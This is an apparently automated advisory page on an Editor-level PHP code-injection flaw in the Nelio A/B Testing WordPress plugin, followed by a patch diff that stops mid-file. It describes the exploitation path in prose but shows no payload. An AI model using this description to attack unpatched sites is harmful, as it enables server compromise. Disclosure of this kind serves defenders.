Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 6, 2026

CVE-2026-32573: Nelio A/B Testing – AB Tests and Heatmaps for Better Conversion Optimization <= 8.2.7 – Authenticated (Editor+) Remote Code Execution (nelio-ab-testing)

Severity High (CVSS 7.2)
CWE 94
Vulnerable Version 8.2.7
Patched Version 8.2.8
Disclosed March 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-32573:
The Nelio A/B Testing WordPress plugin contains an authenticated remote code execution vulnerability affecting versions up to and including 8.2.7. This vulnerability allows attackers with Editor-level permissions or higher to execute arbitrary PHP code on the server via insufficient input validation in PHP experiment scope rules.

Atomic Edge research identifies the root cause in the `sanitize.php` file within the experiment scope sanitization hooks. The vulnerable function `sanitize_php_snippet()` at line 33 in `/nelio-ab-testing/includes/hooks/experiment-scope/sanitize.php` processes user-supplied PHP code without proper validation. The conditional check `’nab/php’ === $experiment->get_type()` was missing, allowing PHP snippet rules to be processed for non-PHP experiment types. This lack of type validation enables arbitrary code execution when malicious scope rules are submitted.

The exploitation method requires authenticated access with Editor privileges. Attackers can create or modify experiments through the plugin’s administrative interface, specifically targeting the scope rule configuration. By crafting a malicious PHP snippet rule and submitting it via the experiment management endpoints, attackers can inject arbitrary PHP code that executes when the experiment scope evaluates. The attack vector leverages the plugin’s internal rule processing system, where user-controlled PHP code passes through insufficient sanitization before execution.

Atomic Edge analysis confirms the patch adds proper experiment type validation before processing PHP snippets. The critical change in `/nelio-ab-testing/includes/hooks/experiment-scope/sanitize.php` line 33 adds the condition `’nab/php’ === $experiment->get_type() ? sanitize_php_snippet( $rule ) : false`. This restricts PHP snippet processing exclusively to PHP-type experiments, preventing code injection through other experiment types. Additional security hardening appears in the `class-nelio-ab-testing-abstract-setting.php` file where the `print_html()` method now uses `wp_kses()` for output sanitization.

Successful exploitation grants attackers arbitrary code execution with web server privileges. This enables complete server compromise, data exfiltration, backdoor installation, and lateral movement within the hosting environment. The vulnerability’s Editor-level access requirement limits immediate impact but remains critical for multi-user WordPress installations where content editors cannot be fully trusted.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/nelio-ab-testing/admin/pages/class-nelio-ab-testing-settings-page.php
+++ b/nelio-ab-testing/admin/pages/class-nelio-ab-testing-settings-page.php
@@ -46,7 +46,7 @@
 			array( 'nab-components' ),
 			nelioab()->plugin_version
 		);
-		nab_enqueue_script_with_auto_deps( 'nab-settings-page', 'settings-page', true );
+		nab_enqueue_script_with_auto_deps( 'nab-settings-page', 'settings-page', false );

 		wp_add_inline_script( 'nab-settings-page', 'nab.initPage()' );
 	}
--- a/nelio-ab-testing/assets/dist/js/account-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/account-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '9d6fc8d443d48df6a5b0');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-i18n', 'nab-utils', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '08849e36e35f631fb326');
--- a/nelio-ab-testing/assets/dist/js/components.asset.php
+++ b/nelio-ab-testing/assets/dist/js/components.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-data', 'nab-date', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'e685814765abda948704');
+<?php return array('dependencies' => array('lodash', 'nab-data', 'nab-date', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'af8000513afaa6095d0e');
--- a/nelio-ab-testing/assets/dist/js/conversion-action-library.asset.php
+++ b/nelio-ab-testing/assets/dist/js/conversion-action-library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-primitives', 'wp-warning'), 'version' => '644c4f90503b2ee82c6a');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-utils', 'react', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n'), 'version' => '1708328e77c79f2dc189');
--- a/nelio-ab-testing/assets/dist/js/conversion-actions.asset.php
+++ b/nelio-ab-testing/assets/dist/js/conversion-actions.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-utils', 'wp-data'), 'version' => '3c8f4c3f01c38ea0421b');
+<?php return array('dependencies' => array('lodash', 'nab-utils', 'wp-data'), 'version' => 'be622f1c8b4a4cab7c2b');
--- a/nelio-ab-testing/assets/dist/js/css-experiment-admin.asset.php
+++ b/nelio-ab-testing/assets/dist/js/css-experiment-admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-blob', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '86cb76406a59a7819f85');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-blob', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'eb0b5a9959674c41d79b');
--- a/nelio-ab-testing/assets/dist/js/css-experiment-public.asset.php
+++ b/nelio-ab-testing/assets/dist/js/css-experiment-public.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('wp-url'), 'version' => '191d9e3be1e89a6d2cae');
+<?php return array('dependencies' => array('wp-url'), 'version' => '2a0c817f5c2fce66e192');
--- a/nelio-ab-testing/assets/dist/js/data.asset.php
+++ b/nelio-ab-testing/assets/dist/js/data.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-date', 'nab-utils', 'wp-api-fetch', 'wp-data', 'wp-date', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => '7ca645a1fbde882d994a');
+<?php return array('dependencies' => array('lodash', 'nab-date', 'nab-utils', 'wp-api-fetch', 'wp-data', 'wp-date', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-url'), 'version' => '2241714934640f8c107c');
--- a/nelio-ab-testing/assets/dist/js/date.asset.php
+++ b/nelio-ab-testing/assets/dist/js/date.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('moment', 'wp-date'), 'version' => '2cb88cebdbb99e237a97');
+<?php return array('dependencies' => array('moment', 'wp-date'), 'version' => '65ac139c7d4b1ad73884');
--- a/nelio-ab-testing/assets/dist/js/editor.asset.php
+++ b/nelio-ab-testing/assets/dist/js/editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '6abfdb2173a4c1962b78');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-segmentation-rules', 'nab-utils', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'dbfff27e7b1a5a6349a6');
--- a/nelio-ab-testing/assets/dist/js/experiment-library.asset.php
+++ b/nelio-ab-testing/assets/dist/js/experiment-library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-action-library', 'nab-conversion-actions', 'nab-data', 'nab-experiments', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-media-utils', 'wp-primitives', 'wp-warning'), 'version' => '256f253685f8d1d6cba1');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-conversion-action-library', 'nab-conversion-actions', 'nab-data', 'nab-experiments', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-jsx-runtime', 'wp-components', 'wp-core-data', 'wp-data', 'wp-element', 'wp-html-entities', 'wp-i18n', 'wp-media-utils'), 'version' => '3049203dc38efc3bb912');
--- a/nelio-ab-testing/assets/dist/js/experiment-list-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/experiment-list-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'fc8e72340b9c6033fe5e');
+<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'edd390d696690d4832a7');
--- a/nelio-ab-testing/assets/dist/js/experiments.asset.php
+++ b/nelio-ab-testing/assets/dist/js/experiments.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-utils', 'wp-data'), 'version' => 'c94789b2500cb14295fd');
+<?php return array('dependencies' => array('lodash', 'nab-utils', 'wp-data'), 'version' => '1624cfdef0aa05f31fa7');
--- a/nelio-ab-testing/assets/dist/js/heatmap-editor.asset.php
+++ b/nelio-ab-testing/assets/dist/js/heatmap-editor.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-editor', 'nab-experiment-library', 'nab-experiments', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '5ccbca7f039eebd08cde');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-date', 'nab-editor', 'nab-experiment-library', 'nab-experiments', 'nab-segmentation-rules', 'nab-utils', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '5787e209a76c70632f17');
--- a/nelio-ab-testing/assets/dist/js/heatmap-results-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/heatmap-results-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-i18n', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '19e9051a68f56c650178');
+<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-i18n', 'nab-segmentation-rule-library', 'nab-utils', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '52f08c7cbcb551c0a516');
--- a/nelio-ab-testing/assets/dist/js/individual-settings.asset.php
+++ b/nelio-ab-testing/assets/dist/js/individual-settings.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'cd12e032af6f93d120c0');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '3d58ed3001ccf4c7dce7');
--- a/nelio-ab-testing/assets/dist/js/javascript-experiment-admin.asset.php
+++ b/nelio-ab-testing/assets/dist/js/javascript-experiment-admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '776cfa8ea9ba010e1bbf');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => 'a5e4850edc0efc271f2b');
--- a/nelio-ab-testing/assets/dist/js/menu-experiment-management.asset.php
+++ b/nelio-ab-testing/assets/dist/js/menu-experiment-management.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-date', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'e7270f9bbeddec9c1901');
+<?php return array('dependencies' => array('nab-components', 'nab-data', 'nab-utils', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '3d827b8fd6d848beda89');
--- a/nelio-ab-testing/assets/dist/js/overview-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/overview-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '73e8d09ba8987f21de1f');
+<?php return array('dependencies' => array('lodash', 'nab-commands', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '5c75a089b7cef381e30f');
--- a/nelio-ab-testing/assets/dist/js/php-experiment-admin.asset.php
+++ b/nelio-ab-testing/assets/dist/js/php-experiment-admin.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '0bc1a8b4cbe20350939a');
+<?php return array('dependencies' => array('nab-components', 'nab-data', 'nab-editor', 'nab-experiment-library', 'nab-utils', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-core-data', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '20b8d7868c2aae5758bf');
--- a/nelio-ab-testing/assets/dist/js/plugin-list-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/plugin-list-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'c29e6df68fdb3b7335f8');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '3bc22fc3a6cbbe88d9a0');
--- a/nelio-ab-testing/assets/dist/js/post-experiment-management.asset.php
+++ b/nelio-ab-testing/assets/dist/js/post-experiment-management.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-edit-post', 'wp-element', 'wp-i18n', 'wp-plugins', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '83b512ac94836e5a9973');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-experiment-library', 'nab-experiments', 'nab-utils', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-date', 'wp-edit-post', 'wp-element', 'wp-i18n', 'wp-plugins', 'wp-url'), 'version' => 'ebb67e1a436ffc387351');
--- a/nelio-ab-testing/assets/dist/js/product-experiment-management.asset.php
+++ b/nelio-ab-testing/assets/dist/js/product-experiment-management.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('jquery', 'lodash', 'nab-components', 'nab-data', 'nab-experiments', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-media-utils', 'wp-primitives', 'wp-warning'), 'version' => 'f3c1484667d0b127fcd8');
+<?php return array('dependencies' => array('jquery', 'lodash', 'nab-components', 'nab-data', 'nab-experiments', 'nab-utils', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-media-utils'), 'version' => '9e59f83cd30515511316');
--- a/nelio-ab-testing/assets/dist/js/public.asset.php
+++ b/nelio-ab-testing/assets/dist/js/public.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '8a6749d4ea6145239a78');
+<?php return array('dependencies' => array(), 'version' => 'e98f804339327f8b4cd3');
--- a/nelio-ab-testing/assets/dist/js/recordings-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/recordings-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'efb492c1fdae7fb93c09');
+<?php return array('dependencies' => array('nab-components', 'nab-data', 'nab-utils', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-data', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '98ef8a712579345676d0');
--- a/nelio-ab-testing/assets/dist/js/results-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/results-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'nab-commands', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'b003b73855824b1d4974');
+<?php return array('dependencies' => array('lodash', 'moment', 'nab-commands', 'nab-components', 'nab-conversion-actions', 'nab-data', 'nab-date', 'nab-experiment-library', 'nab-experiments', 'nab-i18n', 'nab-utils', 'react', 'react-jsx-runtime', 'wp-components', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '74d0e36eb846f0cf2c5a');
--- a/nelio-ab-testing/assets/dist/js/segmentation-rule-library.asset.php
+++ b/nelio-ab-testing/assets/dist/js/segmentation-rule-library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-warning'), 'version' => '592c3373bbfd288f6296');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-segmentation-rules', 'nab-utils', 'react', 'react-jsx-runtime', 'wp-components', 'wp-compose', 'wp-element', 'wp-i18n'), 'version' => '938cceb0c26162c701fb');
--- a/nelio-ab-testing/assets/dist/js/segmentation-rules.asset.php
+++ b/nelio-ab-testing/assets/dist/js/segmentation-rules.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-utils', 'wp-data'), 'version' => '2c2d7fb5e7738e9f5102');
+<?php return array('dependencies' => array('lodash', 'nab-utils', 'wp-data'), 'version' => '982ca95d4c03623ba060');
--- a/nelio-ab-testing/assets/dist/js/settings-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/settings-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('nab-components', 'react-jsx-runtime', 'wp-element', 'wp-i18n'), 'version' => '49ff8108afd95f2e0d0d');
+<?php return array('dependencies' => array('nab-components', 'react-jsx-runtime', 'wp-dom-ready', 'wp-element', 'wp-i18n'), 'version' => '11e106442e7a5f17d6ed');
--- a/nelio-ab-testing/assets/dist/js/utils.asset.php
+++ b/nelio-ab-testing/assets/dist/js/utils.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'moment', 'nab-date', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => 'a679bcfa2bd153c72cd9');
+<?php return array('dependencies' => array('lodash', 'moment', 'nab-date', 'wp-data', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '92303758e4207c4dee57');
--- a/nelio-ab-testing/assets/dist/js/welcome-page.asset.php
+++ b/nelio-ab-testing/assets/dist/js/welcome-page.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-data', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-compose', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => 'e866cbe0214c85a4c530');
+<?php return array('dependencies' => array('nab-data', 'nab-utils', 'react', 'react-jsx-runtime', 'wp-api-fetch', 'wp-components', 'wp-date', 'wp-dom-ready', 'wp-element', 'wp-i18n', 'wp-notices', 'wp-url'), 'version' => '1bd3405cb675501c008f');
--- a/nelio-ab-testing/assets/dist/js/widget-experiment-management.asset.php
+++ b/nelio-ab-testing/assets/dist/js/widget-experiment-management.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-utils', 'react', 'react-dom', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-compose', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-primitives', 'wp-url', 'wp-warning'), 'version' => '81bf55ffc042d68aaed4');
+<?php return array('dependencies' => array('lodash', 'nab-components', 'nab-data', 'nab-utils', 'react-jsx-runtime', 'wp-api-fetch', 'wp-block-editor', 'wp-components', 'wp-data', 'wp-date', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '9d760fd0522ed6f088e8');
--- a/nelio-ab-testing/includes/hooks/experiment-scope/sanitize.php
+++ b/nelio-ab-testing/includes/hooks/experiment-scope/sanitize.php
@@ -30,7 +30,7 @@
 					return sanitize_tested_url_with_query_args( $rule, $experiment );

 				case 'php-snippet':
-					return sanitize_php_snippet( $rule );
+					return 'nab/php' === $experiment->get_type() ? sanitize_php_snippet( $rule ) : false;

 				default:
 					return false;
--- a/nelio-ab-testing/includes/hooks/woocommerce/conversion-actions/wc-order/scope.php
+++ b/nelio-ab-testing/includes/hooks/woocommerce/conversion-actions/wc-order/scope.php
@@ -19,20 +19,20 @@
 		return $scope;
 	}

-	/**
-		* Filters whether wc-order conversion actions can be tracked on all pages or not.
-		*
-		* @param boolean $enabled whether wc-order conversion actions can be tracked on all pages. Default: `false`.
-		*
-		* @since 6.0.4
-		*/
-	if ( apply_filters( 'nab_track_woocommerce_orders_on_all_pages', false ) ) {
-		return array( 'type' => 'all-pages' );
-	}
-
 	return array(
 		'type'    => 'php-function',
 		'enabled' => function () {
+			/**
+			 * Filters whether wc-order conversion actions can be tracked on all pages or not.
+			 *
+			 * @param boolean $enabled whether wc-order conversion actions can be tracked on all pages. Default: `false`.
+			 *
+			 * @since 6.0.4
+			 */
+			if ( apply_filters( 'nab_track_woocommerce_orders_on_all_pages', false ) ) {
+				return true;
+			}
+
 			return function_exists( 'is_checkout' ) && is_checkout();
 		},
 	);
--- a/nelio-ab-testing/includes/hooks/woocommerce/experiments/product/legacy/v1-product.php
+++ b/nelio-ab-testing/includes/hooks/woocommerce/experiments/product/legacy/v1-product.php
@@ -20,4 +20,4 @@
 		isset( $alternative['imageUrl'] ) ||
 		isset( $alternative['price'] )
 	);
-}//end is_v1_alternative()
+}
--- a/nelio-ab-testing/includes/hooks/woocommerce/experiments/product/legacy/v2-product.php
+++ b/nelio-ab-testing/includes/hooks/woocommerce/experiments/product/legacy/v2-product.php
@@ -18,4 +18,4 @@
 		isset( $alternative['postId'] ) &&
 		'nab_alt_product' === get_post_type( absint( $alternative['postId'] ) )
 	);
-}//end is_v2_alternative()
+}
--- a/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-abstract-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-abstract-setting.php
@@ -108,23 +108,12 @@
 	 * @since  6.1.0
 	 */
 	public function print_html( $html ) {
-		$tags = array(
-			'<code>'    => '%1$s',
-			'</code>'   => '%2$s',
-			'<strong>'  => '%3$s',
-			'</strong>' => '%4$s',
-		);
-
-		foreach ( $tags as $tag => $placeholder ) {
-			$html = str_replace( $tag, $placeholder, $html );
-		}
-
-		printf(
-			esc_html( $html ),
-			'<code>',
-			'</code>',
-			'<strong>',
-			'</strong>'
+		echo wp_kses(
+			$html,
+			array(
+				'code'   => array(),
+				'strong' => array(),
+			)
 		);
 	}

--- a/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-checkbox-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-checkbox-setting.php
@@ -55,7 +55,7 @@
 	public function display() { // @codingStandardsIgnoreLine

 		// Preparing data for the partial.
-		$id       = str_replace( '_', '-', $this->name );
+		$id       = $this->option_name . '_' . str_replace( '_', '-', $this->name );
 		$name     = $this->option_name . '[' . $this->name . ']';
 		$desc     = $this->desc;
 		$more     = $this->more;
@@ -71,7 +71,7 @@

 		if ( isset( $input[ $this->name ] ) ) {

-			if ( 'on' === $input[ $this->name ] ) {
+			if ( 'on' === $input[ $this->name ] || '1' === $input[ $this->name ] || 'true' === $input[ $this->name ] ) {
 				$value = true;
 			} elseif ( true === $input[ $this->name ] ) {
 				$value = true;
--- a/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-input-setting.php
+++ b/nelio-ab-testing/includes/lib/settings/class-nelio-ab-testing-input-setting.php
@@ -86,7 +86,7 @@
